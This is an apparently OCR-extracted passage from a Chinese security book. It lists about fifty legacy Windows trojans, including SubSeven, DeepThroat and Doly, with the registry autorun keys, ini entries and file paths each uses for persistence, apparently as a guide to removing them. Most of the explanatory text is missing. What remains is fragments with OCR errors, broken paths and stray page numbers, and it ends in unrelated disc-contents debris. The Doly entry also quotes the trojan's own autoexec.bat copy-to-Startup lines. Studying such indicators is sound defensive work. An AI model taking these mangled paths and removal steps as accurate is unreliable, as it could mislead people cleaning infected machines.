3. Acid Shiver v1.0 + 1.0Mod + Imacid

120

O 000000000000 http://blog.sina.com.cn/ckook



http://blog.sina.com.cn/ckook

MSDOS
C:\windows\M SGSVR16.EXE
Windows
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Explorer ="C:\WINDOWS\MSGSVR16.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Explorer ="C:\WINDOWS\MSGSVR16.EXE"
Regedit
OK
MSDOS
C:\windows\wintour.exe Windows
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Wintour = "CA\WINDOWSWINTOUR.EXE"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Wintour = "CA\WINDOWSWINTOUR.EXE"
Regedit
OK
4. Ambush

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
zka="zcn32.exe"
Regedit
MSDOS
C:\Windows\ zcn32.exe
OK
5.AOL Trojan

MSDOS
C:\ command.exe
command.com
C:\ americ~1.0\buddyl~1.exe
C:\ windows\system\norton~1\regist~1.exe
WIN.INI
[WINDOWS] "run="""load="
run=
load=
WINL.INI
Regedit
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinProfile = c:\command.exe
Regedit Windows OK
6.Asylumv0.1,0.1.1,0.1.2,0.1.3 + Mini 1.0, 1.1

wincmp32.exe
system.ini  win.ini
system.ini
[BOOT] "shell= " explorer.exe
"explorer.exe"
system.ini
win.ini
[WINDOWS] run=

run=

win.ini
OK
7. AttackFTP

win.ini
[WINDOWS] |load=wscan.exe
wscan.exe load=
win.ini
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Reminder="wscan.exe /s"
Regedit MSDOS
C:\windows\system\ wscan.exe
OK
8. Back Construction 1.0 - 2.5

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"C:\WINDOWS\Cmctl 32.exe"
Regedit MSDOS
CAWINDOWS\Cmctl32.exe
OK
9. BackDoor v2.00 - v2.03

Regedit

122

O 000000000000 http://blog.sina.com.cn/ckook



http://blog.sina.com.cn/ckook

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
‘c:\windows\notpa.exe /o=yes
Regedit MSDOS
c:\windows\notpa.exe
notepad.exe

10. BF Evolution v5.3.12
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
(Default)=""
Regedit

C:\windows\system\ .exe exe

11. BioNet v0.84 - 0.92 + 2.21

0.8X Win95/98
0.9X Win95/98  WinNT
NT 95/98 Win95/98
NT
98 c:\windows attrib libupd~1.
exe-h
98

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
WinLibUpdate = "c:\windows\libupdate.exe -hide"

12. Blav1.0-5.03

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Systemdoor = "C:\WINDOWS\System\mprdll.exe"
Regedit
C:\WINDOWS\System\mprdll.exe
CAWINDOWS\system\rundll.exe
C:\WINDOWS\RUNDLL.EXE

OK
13. BladeRunner
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124

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
System-Tray = "c:\something\something.exe"

MS-DOS

14. Bobov1.0- 2.0
v1.0
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
DirrectLibrarySupport ="C\WINDOWS\SY STEM\DlIclient.exe"
Regedit
DEL C:\Windows\System\DlIclient.exe
OK
v2.0
Regedit

HKEY_USER/.Default/Software/Mirabilis/| CQ/Agent/Apps/| CQ Accel/
ICQ Accel " " ICQAcce

OK
15. BrainSpy vBeta

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

??7? ="C\WINDOWS\system\BRAINSPY .exe"

Regedit
CA\WINDOWS\system\BRAINSPY .exe
16. Cain and Abel v1.50- 1.51

MS-DOS
C:\windows\msabel 32.exe

17. Canasson
WIN.INI
c:\msieb.exe
win.ini

c:\msieb.exe
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18. Chupachbra

WIN.INI
[Windows]|
run=winprot.exe
load=winprot.exe
winprot.exe
run=
load=
Win.ini Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
'System Protect' = winprot.exe
Windows
C:\windows\system\ winprot.exe

19. Comav1.09
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
'RunTime' = C:\windows\msgsrv36.exe
Windows
C:\windows\ msgsrv36.exe
20. Control

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
Load MSchv Drv = C:\windows\system\M Schv.exe
Regedit Windows
C:\windows\system\M Schv.exe

21. Dark Shadow
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\RunServices
winfunctions="winfunctions.exe"

Regedit Windows
C:\windows\system\ winfunctions.exe
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22. DeepThroat v1.0 - 3.1 + Mod (Foreplay)

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run

1.0
'System32'=c:\windows\system32.exe
2.0-31
'‘SystemTray' = 'Systray.exe'
Regedit Windows
1.0 c:\windows\system32.exe
2.0-31

c:\windows\system\systray.exe
23. Delta Sourcev0.5- 0.7
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
DS admin tool = CATEMPSERVER.exe
Regedit Windows
C\TEMPSERVER.exe
24, Der Spaeher v3
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
explore = "c:\windows\system\dkbdll.exe "
Regedit Windows

c:\windows\system\dkbdll.exe

25. Doly v1.1-v1.7 (SE)

V11-V15
Win.ini
MS-DOS V1.35 mdm.exe
C:\WINDOWS\SY STEM\tesk.sys
CAWINDOWS\Start Menu\Programs\Startup\mstesk.exe
c:\Program Files\M Stesk.exe
c:\Program Files\sMdm.exe
Windows
win.ini
[WINDOWS] load=c:\windows\system\tesk.exe load=
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win.ini
Regedit

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Mstesk = "C:\Program Files\M Stesk.exe"

HKEY_USER\.Default\Software\Mi crosoft\Windows\CurrentVersion\Run
Mstesk = "C:\Program Files\M Stesk.exe"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ss

ss

Regedit

C\AUTOEXEC.BAT
@echo off copy c:\sys.lon c:\windows\StartM enu\Startup Items\
del c:\win.reg

autoexec.bat

V1.6

98 RESET
1 -- -- memory manager 3.0
EXE

2 98 DOS RESET C\ AUTOEXEC BAT

@echo off copy c:\sys.lon c:\windows\startm~1\programs\startup\mdm.exe
del c:\win.reg
AUTOEXEC BAT DOS C \
del sys.lon
del windows\startm~1\programs\startup\mdm.exe
del progra~1\mdm.exe

3 98 c:\program files\ memory manager
V17
C:\AUTOEXEC.BAT
@echo off copy c:\sys.lon c:\windows\startm~1\programs\startup\mdm.exe
del c:\win.reg
autoexec.bat
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\MicroSoft\Windows\CurrentVersion\Run
c:\windows\system\mdm.exe

HKEY_USER/.Default/Software/Marabilis/| CQ/Agent/Apps/

"C:\windows\system\kernal 32.exe"
Regedit Windows
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c\sys.lon
c\iecookie.exe
c:\windows\start menu\programs\startup\mdm.exe
c:\program files\mdm.exe
c:\windows\system\mdm.exe
c:\windows\system\kernal 32.exe

kernal 32

26. Revenger v1.0- 1.5

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
AppName ="C:\...\server.exe"

Regedit Windows
c:\windows server.exe
27. Ripper
system.ini

shell=explorer.exe sysrunt.exe
shell= explorer.exe
system.ini Windows
c:\windows sysrunt.exe

28. Satans Back Door v1.0

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
sysprot protection ="C:\windows\sysprot.exe"
Regedit Windows
C:\windows\sysprot.exe

29. Schwindler v1.82
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
User.exe = "C\WINDOWS\User.exe"

Regedit Windows
CA\WINDOWS\User.exe

O 000000000000 http://blog.sina.com.cn/ckook



http://blog.sina.com.cn/ckook

30. Setup Trojan (Sshare) +Mod Small Share

Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\L an
Man\
IC$I
Regedit Windows
31. ShadowPhyrev2.12.38 - 2.X
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
WinZipp = "C:\WINDOWS\SY STEM\WinZipp.exe /nomsg"
WinZip = "C\WINDOWS\SY STEM\WinZip.exe /nomsg"
Regedit Windows
CA\WINDOWS\ WinZipp.exe CA\WINDOWS\ WinZip.exe
32. ShareAll

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\L an
Man\

33. ShitHeap
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\

recycle-bin = "c:\windows\system\recycle-bin.exe"
recycle-bin = "c:\windows\system.exe"

Regedit Windows
c:\windows\system\recycle-bin.exe c:\windows\system.exe
34. Snidv1-2
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
System-tray = 'c:\windows\temp$01.exe
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Regedit Windows
c:\windows\temp$01.exe

35. Softwarst

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
NetApp = C:\windows\system\winserv.exe
Regedit Windows
C:\windows\system\winserv.exe

36. Spirit 2000 Beta - v1.2 (fixed)
v Beta
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
internet = "c:\windows\netip.exe "

Regedit
win.ini
run=c:\windows\netip.exe
run=
win.ini Windows

c:\windows\netip.exe  c:\windows\netip.exe

v12
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SystemTray = "c:\windows\windown.exe "
Regedit Windows
c:\windows\windown.exe

v 1.2(fixed)
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Server 1.2.exe = "c:\windows\server 1.2.exe"
Regedit Windows
c:\windows\server 1.2.exe

37. Stealth v2.0 - 2.16

Regedit
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Winprotect System = "C:\WINDOWS\winprotecte.exe
Regedit Windows
C:\WINDOWS\winprotecte.exe

38. SubSeven - Introduction
v1.0-1.1
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SystemTraylcon = "C\WINDOWS\SysTraylcon.Exe"
Regedit Windows
C\WINDOWS\SysTraylcon.Exe

vl13-14-15
win.ini
run=nodl|
run=
win.ini Windows
c:\windows\nodll.exe

v1.6
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SystemTray = "SysTray.Exe"
Regedit Windows
C:\windows\systray.exe

v1.7
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
C:\windows\kernel 16.dl
Regedit Windows
C:\windows\kernel 16.dl

v1.8
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
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c:\windows\system.ini.
Regedit
win.ini
run= kernel 16.dl
run=
win.ini
system.ini
shell=explorer.exe kernel 32.dl
shell=explorer.exe
system.ini Windows
C:\windows\kernel 16.dl

v1.9-19b
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
RegistryScan = "rundl| 16.exe"
Regedit Windows
C:\windows\rundl|16.exe

v2.0
system.ini
shell=explorer.exe trojanname.exe
shell=explorer.exe
system.ini Windows
c:\windows\rundll16.exe

v2.1- 2.1 Gold + SubStealth- 2.1.3 Mod + 2.1.3 MUIE + 2.1 Bonus
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
\
WinLoader = MSREXE.EXE
hkey classes root\exefile\shell\open\command
@="\"%1\" %*"
Regedit
win.ini

run=msrexe.exe
load=msrexe.exe

run=

132

O 000000000000 http://blog.sina.com.cn/ckook



http://blog.sina.com.cn/ckook

load=
win.ini
system.ini
shell=explore.exe msrexe.exe
shell=explorer.exe
system.ini Windows
C:\windows\ msrexe.exe
C:\windows\system\systray.dll

v2.2bl
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
= "c:\windows\system\***"

Regedit
win.ini
run=
win.ini
system.ini
shell=explorer.exe
system.ini Windows

39. Telecommando 1.54
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SystemApp "ODBC.EXE"
Regedit Windows
C:\windows\system\ ODBC.EXE
40. The Unexplained
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
InetBOOst = "C:\WINDOWS\TEMPINETBOOST.EXE"
Regedit Windows

C\WINDOWS\TEMPINETBOOST.EXE

41. Thing v1.00 - 1.60
v1.00-1.12
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
(Default) = "C:\some\path\here\thing.exe"

HKEY_LOCAL_MACHINE\System\CurrentControl Set\control\SessionM anager\K nown16D

Ls\
wsasrv.exe = "wsasrv.exe"
Regedit Windows
C:\some\path\here\thing.exe

v 1.20
MS DOS
del winspcl3.exe
del ms097.exe
system.ini
shell=explorer.exe ms097.exe
shell=explorer.exe
system.ini Windows

v1.50
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

Regedit
system.ini
shell=explorer.exe
shell=explorer.exe
system.ini Windows

v1.50
MS DOS
del winspcl3.exe
del ms097.exe
system.ini
shell=explorer.exe
shell=explorer.exe
system.ini Windows

42, Transmission Scount v1.1- 1.2

Regedit
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Kernel16" = C:\WINDOWS\K ernel 16.exe
Regedit Windows
C\WINDOWS\Kernel16.exe

43. Trinoo
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
System Services = service.exe
Regedit Windows
C:\windows\system\service.exe
44, Trojan Cow v1.0
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SysWindow = "C:\WINDOWS\Syswindow.exe"
Regedit Windows
C:\WINDOWS\Syswindow.exe
45. Trylt
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Rc5Dec = C:\Program Files\Internet Explorer\_.exe -guistart
Regedit Windows
C:\Program Files\Internet Explorer\_.exe
46. Vampirev1.0- 1.2
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Sockets ="c:\windows\system\Sockets.exe"
Regedit Windows

c:\windows\system\Sockets.exe

47. WarTrojanv1.0- 2.0
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Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Kernel 32 = "C:\somepath\server.exe"
Regedit Windows
C:\somepath\server.exe

48. wCrat v1.2b

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
MS Windows System Explorer ="C:\WINDOWS\sysexplor.exe"
Regedit Windows
C:\WINDOWS\sysexplor.exe

49. WebEx (v1.2, 1.3, and 1.4)

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
RunDI32 = "C:\windows\system\task_bar"
Regedit Windows
C:\windows\system\task_bar.exe  c¢:\windows\system\msinet.ocx

50. WinCrash v2

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
WinManager = "c:\windows\server.exe"
Regedit
win.ini
run=c:\windows\server.exe
run=
win.ini Windows
c:\windows\server.exe

51. WinCrash

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
MsManager ="SERVER.EXE"
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Regedit Windows
C:\windows\system\ SERVER.EXE

52. Xanadu v1.1
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SETUP = "c:\somepath\setup.exe"
Regedit Windows
c:\somepath\setup.exe
53. Xplorer v1.20
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
PCX ="C\WINDOWS\system\PCX .exe"
Regedit Windows
CA\WINDOWS\system\PCX .exe
54, Xtcpv2.0-2.1
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
msgsv32 = "C:\WINDOWS\system\winmsg32.exe"
Regedit Windows
C:AWINDOWS\system\winmsg32.exe
55. YAT
Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
Batterieanzeige = 'c:\pathnamehere\server.exe /nomsg'

Regedit Windows
c:\pathnameherée\server.exe
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\content
zZip \control\pca 90.exe
\control\pca 90.zip \control\92up.exe Norton Antivirus
Panda Antivirus Platinum6.0.9 ThunderBYTE
2 | SBN-900036-98-9/G.11
16 19.80 440 Mb
1 \content\more
\more 2. \Patch
3.
2
28 19.8
28 008

100080
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